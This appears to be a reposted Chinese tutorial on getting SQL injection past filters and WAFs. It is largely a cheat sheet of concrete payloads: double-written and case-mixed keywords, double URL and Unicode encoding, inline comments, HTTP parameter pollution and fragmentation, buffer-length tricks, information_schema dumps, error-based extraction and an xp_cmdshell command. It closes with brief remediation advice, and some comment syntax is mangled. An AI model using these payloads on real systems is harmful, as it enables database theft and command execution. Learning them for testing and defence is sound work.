概述
SQL注入绕过
一 双写绕过
1.过滤判断 xxx.com?id=1 访问?id=1and1=1 页面报错 1=1,发现and被过滤,这时候尝试使用双写的方式绕过,如aanndd 1=1,当and被过滤后,aanndd变成了and,所以这时传输数据库的语句是 and 1=1 ,如果当访问 order by 错误信息为”der by”这发现过滤了or,这双写or,后面注入和union注入的一致。
2.练习sqli-labs
Less-25 Trick with OR & AND (过滤了or和and)
二 大小写绕过
1.大小写绕过用于只针对小写或大写的关键字匹配技术,正则表达式/express/i 大小写不敏感即无法绕过,这是最简单的绕过技术
举例:z.com/index.php?page_id=-15 uNIoN sELecT 1,2,3,4
示例场景可能的情况为filter的规则里有对大小写转换的处理,但不是每个关键字或每种情况都有处理
2.练习sqli-labs:
练习地址:http://43.247.91.228:84/Less-27/
Less27GET-ErrorBased-AllyourUNION&SELECTbelongtous (过滤了union和select 的)
A:判断注入
三 替换关键字
这种情况下大小写转化无法绕过,而且正则表达式会替换或删除select、union这些关键字,如果只匹配一次就很容易绕过
举例:z.com/index.php?page_id=-15?UNIunionON SELselectECT 1,2,3,4
同样是很基础的技术,有些时候甚至构造得更复杂:SeLSeselectleCTecT,不建议对此抱太大期望
四 编码绕过注入
1.(URL编码)
访问id=1’,发现页面报出Mysql错误,接着访问id=1 and 1=1 和id=1 and 1=2时,发现and被拦截,尝试使用URL全编码的方式绕过拦截。由于服务器会自动对URL进行一次URL 编码,所以需要把关键字编码两次,这里需要注意的地方是,URL编码需要选择全编码,而不是普通的URL编码。如:关 键 字 and 进 行 两 次 URL 全 编 码 的 结 果 是 %25%36%31%25%36%65%25%36%34 , 访 问 id=1 %25%36%31%25%36%65%25%36%34 1=1 时 , 页 面 返 回 和 id=1 相 同 , 访 问 id=1 %25%36%31%25%36%65%25%36%34 1=2时,和id=1不同,所以该页面一定存在sql注入漏洞。后面的注入过程与union注入一致,只需判断过滤的关键词,并经过两次URL全编码即可。
2.十六进制编码
target.com/index.php?page_id=-15 /!u%6eion/ /!se%6cect/ 1,2,3,4… SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61))
示例代码中,前者是对单个字符十六进制编码,后者则是对整个字符串编码
3.Unicode编码
Unicode有所谓的标准编码和非标准编码,假设我们用的utf-8为标准编码,那么西欧语系所使用的就是非标准编码了看一下常用的几个符号的一些Unicode编码:
单引号:??%u0027、%u02b9、%u02bc、%u02c8、%u2032、%uff07、%c0%27、%c0%a7、%e0%80%a7 空格:%u0020、%uff00、%c0%20、%c0%a0、%e0%80%a0 左括号:%u0028、%uff08、%c0%28、%c0%a8、%e0%80%a8 右括号:%u0029、%uff09、%c0%29、%c0%a9、%e0%80%a9 举例:?id=1%D6‘%20AND%201=2%23
SELECT ‘?’=‘A’; #1
两个示例中,前者利用双字节绕过,比如对单引号转义操作变成’,那么就变成
了%D6%5C’,%D6%5C构成了一个款字节即Unicode字节,单引号可以正常使用
第二个示例使用的是两种不同编码的字符的比较,它们比较的结果可能是True或者False,
关键在于Unicode编码种类繁多,基于黑名单的过滤器无法处理所以情况,从而实现绕过另外平时听得多一点的可能是utf-7的绕过,还有utf-16、utf-32的绕过,后者从成功的
实现对google的绕过,有兴趣的朋友可以去了解下常见的编码当然还有二进制、八进制,它们不一定都派得上用场。
五 使用注释
1.普通注释常见的用于注释的符号:
//
–空格
/**/
–+
– ?-
;
–a
举例:z.com/index.php?page_id=-15?%55nION/**/%53ElecT 1,2,3,4 'union%a0select pass from users#
/**/在构造得查询语句中插入注释,规避对空格的依赖或关键字识别;#、–+用于终结语句的查询
2.内联注释相比普通注释,内联注释用的更多,它有一个特性/!**/只有MySQL能识别
举例:index.php?page_id=-15 /!UNION/ /!SELECT/ 1,2,3
?page_id=null%0A///!50000%55nIOn//yoyu/all//%0A/!%53eLEct/%0A/nna a/+1,2,3,4…
两个示例中前者使用内联注释,后者还用到了普通注释。使用注释一个很有用的做法便是对关键字的拆分,要做到这一点后面讨论的特殊符号也能实现,当然前提是包括/、*在内的这些字符能正常使用
六 等价函数
等价函数与命令有些函数或命令因其关键字被检测出来而无法使用,但是在很多情况下可以使用与之等价或类似的代码替代其使用
1.函数或变量
hex()、bin() ==> ascii() sleep() >benchmark() concat_ws()>group_concat() mid()、substr() ==> substring()
@@user ==> user()
@@datadir ==> datadir()
举例:substring()和substr()无法使用
时:?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74
或者:substr((select ‘password’),1,1) = 0x70
strcmp(left(‘password’,1), 0x69) = 1 strcmp(left(‘password’,1), 0x70) = 0 strcmp(left(‘password’,1), 0x71) = -1
上述这几个示例用于说明有时候当某个函数不能使用时,还可以找到其他的函数替代其实现,
置于select、uinon、where等关键字被限制如何处理将在后面filter部分讨论
2.符号
and和or有可能不能使用,或者可以试下&&和||能不能用;还有=不能使用的情况,可以考虑尝试<、>,因为如果不小于又不大于,那边是等于了在看一下用得多的空格,可以使用如下符号表示其作用:%20 %09 %0a %0b %0c %0d %a0 /**/
3.生僻函数
MySQL/PostgreSQL 支持 XML 函数:Select UpdateXML(‘ ’,’
/script/@x/’,’src=//evil.com’);
?id=1 and 1=(updatexml(1,concat(0x3a,(select user())),1))
SELECT xmlelement(name img,xmlattributes(1as src,'alx65rt(1)'as 117nx65rror)); //postgresql
?id=1 and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
MySQL、PostgreSQL、Oracle它们都有许多自己的函数,基于黑名单的filter要想涵盖这么多东西从实际上来说不太可能,而且代价太大,看来黑名单技术到一定程度便遇到了限制
七 特殊符号
这里我把非字母数字的字符都规在了特殊符号一类,特殊符号有特殊的含义和用法,涉及信息量比前面提到的几种都要多
1.使用反引号,例如select
version()`,可以用来过空格和正则,特殊情况下还可以将其做注释符用
2.神奇的"-+.",select+id-1+1.from users; “+”是用于字符串连接的,”-”和”.”在此
也用于连接,可以逃过空格和关键字过滤
3.@符号,select@^1.from users; @用于变量定义如@var_name,一个@表示用户定义,@@表示系统变量
4.Mysqlfunction()asxxx 也可不用as和空格 select-count(id)testfromusers; // 绕过空格限制可见,使用这些字符的确是能做很多事,也证实了那句老话,只有想不到,没有做不到本人搜罗了部分可能发挥大作用的字符(未包括’、*、/等在内,考虑到前面已经出现较多次了):
`、~、!、@、%、()、[]、.、-、+ 、|、%00
举例:
关键字拆分:‘se’+’lec’+’t’
%S%E%L%E%C%T 1
1.aspx?id=1;EXEC(‘ma’+'ster…x’+'p_cm’+'dsh’+'ell ”net user”’)
!和():’ or --+2=- -!!!'2 id=1+(UnI)(oN)+(SeL)(EcT) //另 Access中,”[]”用于表和列,”()”用于数值也可以做分隔本节最后在给出一些和这些字符多少有点关系的操作符供参考:
>>, <<, >=, <=, <>,<=>,XOR, DIV, SOUNDS LIKE, RLIKE, REGEXP, IS, NOT, BETWEEN
使用这些"特殊符号"实现绕过是一件很细微的事情,一方面各家数据库对有效符号的处理是不一样的,另一方面你得充分了解这些符号的特性和使用方法才能作为绕过手段
八 http参数控制
这里HTTP参数控制除了对查询语句的参数进行篡改,还包括HTTP方法、HTTP头的控制
1.HPP(HTTP Parameter Polution)
举例:/?id=1;select+1,2,3+from+users+where+id=1— /?id=1;select+1&id=2,3+from+users+where+id=1—
/?id=1//union/&id=/select/&id=/pwd/&id=/from/&id=/users
HPP又称做重复参数污染,最简单的就是?uid=1&uid=2&uid=3
具体WAF如何处理,要看其设置的规则,不过就示例中最后一个来看有较大可能绕过
2.HPF(HTTP Parameter Fragment)
这种方法是HTTP分割注入,同CRLF有相似之处(使用控制字符%0a、%0d等执行换行) 举例:
/?a=1+union/&b=/select+1,pass/&c=/from+users-select * from table where a=1 union/* and b=/select 1,pass/ limit */from users—
看罢上面两个示例,发现和HPP最后一个示例很像,不同之处在于参数不一样,这里是在不同的参数之间进行分割,到了数据库执行查询时再合并语句。
3.HPC(HTTP Parameter Contamination)
这一概念见于exploit-db上的paper:Beyond SQLi: Obfuscate and Bypass,Contamination同样意为污染
RFC2396定义了如下一些字符:
Unreserved: a-z, A-Z, 0-9 and _ . ! ~ * ’ () Reserved : ; / ? : @ & = + $ , Unwise : { }
| ^ [ ] `
不同的Web服务器处理处理构造得特殊请求时有不同的逻辑
九 缓冲区溢出(Advanced)
缓冲区溢出用于对付WAF,有不少WAF是C语言写的,而C语言自身没有缓冲区保护机制,因
此如果WAF在处理测试向量时超出了其缓冲区长度,就会引发bug从而实现绕过举例:
?id=1 and (select 1)=(Select
0xA*1000)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,
18,19,20,21,22,23,24,25,26
示例0xA*1000指0xA后面”A"重复1000次,一般来说对应用软件构成缓冲区溢出都需要较大的测试长度,这里1000只做参考,在某些情况下可能不需要这么长也能溢出
十 整合绕过
• 整合的意思是结合使用前面谈到的各种绕过技术,单一的技术可能无法绕过过滤机制,但是多种技术的配合使用成功的可能性就会增加不少了。这一方面来说是总体与局部和的关系,另一方面则是多种技术的使用创造了更多的可能性,除非每一种技术单独都无法使用,否则它们能产生比自身大得多的能量。
• target.com/index.php?page_id=-15+and+(select 1)=(Select 0xAA[…(add about 1000 “A”)…])+/!uNIOn/+/!SeLECt/+1,2,3,4…
• id=1/!UnIoN/+SeLeCT+1,2,concat(/!table_name/)+FrOM
/information_schema/.tables /!WHERE /+/!TaBlE_ScHeMa/+like+database()– -
• ?id=-5+/!UNION/+/!SELECT/+1,GrOUp_COnCaT(COLUMN_NAME),3,4,5+FROM+/*!INFORMA
TION_SCHEM*/.COLUMNS+WHERE+TABLE_NAME=0x41646d696e–
十一 SQL修复建议
• 常用得SQL注入漏洞得修复方法有两种
• 1.过滤危险字符
• 多数CMS都采用过滤字符的方式,例如,采用正则表达式匹配union、sleep、load_file等关键字,如果匹配到,则退出程序。
• 2.使用预编译语句
• 其实使用PDO预编译语句,需要注意的是,不要将变量直接拼接到PDO语句中,而是使用占位符进行数据库的增加、删除、修改、查询。
0 http://192.168.43.220/grade/ 利用此网站来做一个实战关于SQL注入点的查找
1. 跑工具
Owasp zap
AWVS
APPscan
……
最后
以上就是生动冬日为你收集整理的Sql注入绕过SQL注入绕过的全部内容,希望文章能够帮你解决Sql注入绕过SQL注入绕过所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复